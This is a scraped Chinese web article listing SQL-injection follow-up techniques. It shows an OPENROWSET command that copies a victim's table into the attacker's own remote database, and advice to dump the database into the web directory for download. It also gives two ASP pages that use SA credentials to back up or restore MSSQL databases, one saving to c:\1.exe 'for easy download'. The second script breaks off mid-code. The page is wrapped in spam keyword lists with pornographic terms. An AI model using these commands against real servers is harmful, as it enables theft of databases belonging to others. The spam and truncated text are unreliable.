精品久久看,欧美成人久久一级c片免费,日本加勒比在线精品视频,国产一区二区三区免费大片天美,国产成人精品999在线,97理论三级九七午夜在线观看

當(dāng)前位置:首頁(yè)文章首頁(yè) IT學(xué)院 IT技術(shù)

比較全的SQL注入相關(guān)的命令分享

作者:  來(lái)源:  發(fā)布時(shí)間:2011-6-15 15:18:23  點(diǎn)擊:
反連到自己的數(shù)據(jù)庫(kù)機(jī)器,~先在本地建個(gè)跟目標(biāo)機(jī)器一樣結(jié)構(gòu)的表~字段類(lèi)型使用nvarchar.然后用海洋連接對(duì)方的SQL數(shù)據(jù)庫(kù),在查詢(xún)分析那里執(zhí)行
insert into OPENROWSET ('sqloledb','server=你數(shù)據(jù)庫(kù)服務(wù)器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 對(duì)方的表—
要是數(shù)據(jù)量太大的話(huà)就看看他數(shù)據(jù)庫(kù)里有沒(méi)有自動(dòng)編號(hào)的字段.select * from 表名 where id>100
這樣來(lái)弄吧
要是和WEB同臺(tái)的話(huà),直接將庫(kù)BAK到WEB目錄下回來(lái)就OK啦。。。不過(guò)前提庫(kù)不能太大,超過(guò)2G的話(huà)SQL就超時(shí)了
如果是SA權(quán)限可以利用下面的兩個(gè)ASP程序來(lái)備份數(shù)據(jù)庫(kù):

sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQL Server 數(shù)據(jù)庫(kù)的備份與恢復(fù)</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
選擇操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>備份</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢復(fù)</label>
<br>數(shù)據(jù)庫(kù)名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>文件路徑:<INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(備份或恢復(fù)的文件路徑,備份成EXE主要為了方便下載,活活..)<br>
<input type="submit" value="確定">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服務(wù)器
sqlname = "sa" '用戶(hù)名
sqlpassword = "數(shù)據(jù)庫(kù)密碼" '密碼
sqlLoginTimeout = 15 '登陸超時(shí)
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>備份成功!</font>"
elseif act = "restore" then
'恢復(fù)時(shí)要在沒(méi)有使用數(shù)據(jù)庫(kù)時(shí)進(jìn)行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>恢復(fù)成功!</font>"
else
Response.write "<font color=red>沒(méi)有選擇操作</font>"
end if
end if
%>
</BODY>
</HTML>

sqlbackup2.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>采飛揚(yáng)ASP備份MSSQL數(shù)據(jù)庫(kù)程序 V1.0--QQ:79998575</title>
</head>
<style>
BODY {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   scrollbar-face-color:#E4E4F3;   scrollbar-highlight-color:#FFFFFF;   scrollbar-3dlight-color:#E4E4F3;   scrollbar-darkshadow-color:#9C9CD3;   scrollbar-shadow-color:#E4E4F3;   scrollbar-arrow-color:#4444B3;   scrollbar-track-color:#EFEFEF;}TABLE {   FONT-SIZE: 9pt;   FONT-FAMILY: "Courier New";   BORDER-COLLAPSE: collapse;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: solid;   border-right-style: none;   border-bottom-style: none;   border-left-style: solid;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.tr {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   text-align: center;}.td {   font-family: "Courier New";   font-size: 9pt;   background-color: #f9f9fd;}.warningColor {   font-family: "Courier New";   font-size: 9pt;   color: #ff0000;}input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea {   font-family: "Courier New";   BORDER-TOP-WIDTH: 1px;   BORDER-LEFT-WIDTH: 1px;   FONT-SIZE: 12px;   BORDER-BOTTOM-WIDTH: 1px;   BORDER-RIGHT-WIDTH: 1px;   color: #000000;}.liuyes {
background-color: #CCCCFF;
}
A:link {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   TEXT-DECORATION: none;}tr {   font-family: "Courier New";   font-size: 9pt;   line-height: 18px;}td {   font-family: "Courier New";   font-size: 9pt;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: none;   border-right-style: solid;   border-bottom-style: solid;   border-left-style: none;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.trHead {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   line-height: 3px;}.inputLogin {   font-family: "Courier New";   font-size: 9pt;   border: 1px solid #d8d8f0;   background-color: #f9f9fd;   vertical-align: bottom;}</style>
<body>
<form method="post" name="myform" action="?action=backupdatabase">
<table width="686" border="1" align="center">
<tr>
<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">采飛揚(yáng)ASP備份MSSQL數(shù)據(jù)庫(kù)程序 V1.0 </font></td>
</tr>
<tr>
<td>選擇操作:
  <input type="radio" name="act" id="act_backup"value="backup" />
  <label for=act_backup>備份</label>
  <input type="radio" name="act" id="act_restore" value="restore" />
  <label for=act_restore>恢復(fù)</label></td>
</tr>
<tr>
<td><label>SQL服務(wù)器:
  <input type="text" name="sqlserver" value="localhost" />
</label></td>
</tr>
<tr>
<td><label>用戶(hù)名:
  <input name="sqlname" type="text" value="sa" />
密 碼:
<input type="text" name="sqlpassword" />
</label></td>
</tr>
<tr>
<td><label>數(shù)據(jù)庫(kù)名:
  <input type="text" name="databasename" value="<%=request("databasename")%>" />
</label></td>
</tr>
<tr>
<td>文件路徑:
  <input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" />
(備份或恢復(fù)的文件路徑)</td>
</tr>
<tr>
<td><% Response.write "本文件絕對(duì)路徑:" %>
  <font color="#FF0000">
  <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
  </font></td>
</tr>
<tr>
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="確 定" />
    <input name="Submit" type="reset" class="liuyes" size="10" value="重 置" /></td>
</tr>
</table>
</form>
<table width="686" border="1" align="center">
<tr>
<td>提示信息:<%
if request("action")="" then  
response.write "<font color=#ff0000>不用我多說(shuō)什么了吧!

相關(guān)軟件

相關(guān)文章

文章評(píng)論

軟件按字母排列: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
主站蜘蛛池模板: 色激情综合 | 激情五月社区 | 成年人黄色小视频 | 日韩欧美国产精品 | 国产麻豆精品一区二区 | 天天激情| 国产日产久久高清欧美一区 | 2022国产成人综合精品 | 黄色短视频在线播放 | 奇迹少女第四季中文版免费全集 | 国产成人一级 | 国产在线精品成人一区二区三区 | 亚洲国产精品人人做人人爽 | 99精品全国免费7观看视频 | 福利视频午夜 | 4399一级成人毛片 | 99久久免费国产精品m9 | 亚洲综合激情六月婷婷在线观看 | 福利在线播放 | 国产精品久久久香蕉 | 嫂子的职业电影在线观看 | 精品综合久久久久久97超人该 | 激情五月六月婷婷 | 国产欧美一区二区精品久久久 | 欧美黄色一级视频 | 国产精品视频你懂的 | 久草国产在线视频 | 久久国产夜色精品噜噜亚洲a | 精品久久一区二区 | 风间由美性色一区二区三区 | 99在线播放视频 | 久久国产自偷自免费一区100 | 免费男女网站 | 四虎影视永久在线 | 日韩中文字幕在线不卡 | 手机在线观看视频你懂的 | 99精品小视频 | 综合色桃花久久亚洲 | 第四色区| 久久久久久国产精品免费免 | 老女人bbb|